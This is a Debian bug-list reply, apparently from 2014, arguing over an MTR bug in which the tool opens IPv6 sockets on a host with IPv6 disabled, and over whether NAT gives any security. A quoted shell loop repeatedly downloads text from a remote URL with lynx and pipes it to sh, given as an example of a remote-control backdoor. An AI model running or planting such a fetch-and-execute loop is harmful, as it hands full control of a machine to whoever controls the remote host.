On 2014-04-28 13:07, Rogier Wolff wrote: > On Mon, Apr 28, 2014 at 12:02:50PM +0200, Jeroen Massar wrote: >>> You're saying that masquerading makes my machine wide open? >> >> Bingo. It is no more "secure" than putting it directly on the network. >> See amongst others http://samy.pl/pwnat/ > > If I run software on a server inside the NAT it can give away "access" > to resources behind the NAT. > > #!/bin/sh > while true ; do > lynx -dump http://www.somedomain.com/lkjasdfkj | sh > sleep 60 > done > > This gives access to my machine to anyone who can register > "somedomain.com" and install something on the link. [..]
That is not giving "access", that is providing full control. But the same can be achieved in various other ways and all of those are independent of a NAT existing. It indeed demonstrates that a NAT is in no way secure, especially if you have a user dumb enough to run something like the above on their machine. [..] >> That is what this ticket is about: you caused a problem, as the tool >> expects there to be IPv6 support, even if it won't use it. > > There is a bug in MTR that it will try to open IPV6 sockets for name > server communication even when explcitly told to do IPV4 only. > > I disagree with closing the bug as "user-error". It is only a user-error from the perspective of disabling a current protocol. If you disable IPv4 your host won't even boot, even if you want it to be IPv6 only. Using IPv6 support of the networking API (getaddrinfo() and friends) is a standard way of porting applications to support both IPv4 and IPv6. Disabling IPv6 in the kernel removes that functionality and thus applications that use it are 'broken'. The user decided this, against the defaults that work. Note that this also happens with various versions of Apache in combinations with newer glibc and older kernel editions for instance. Greets, Jeroen -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
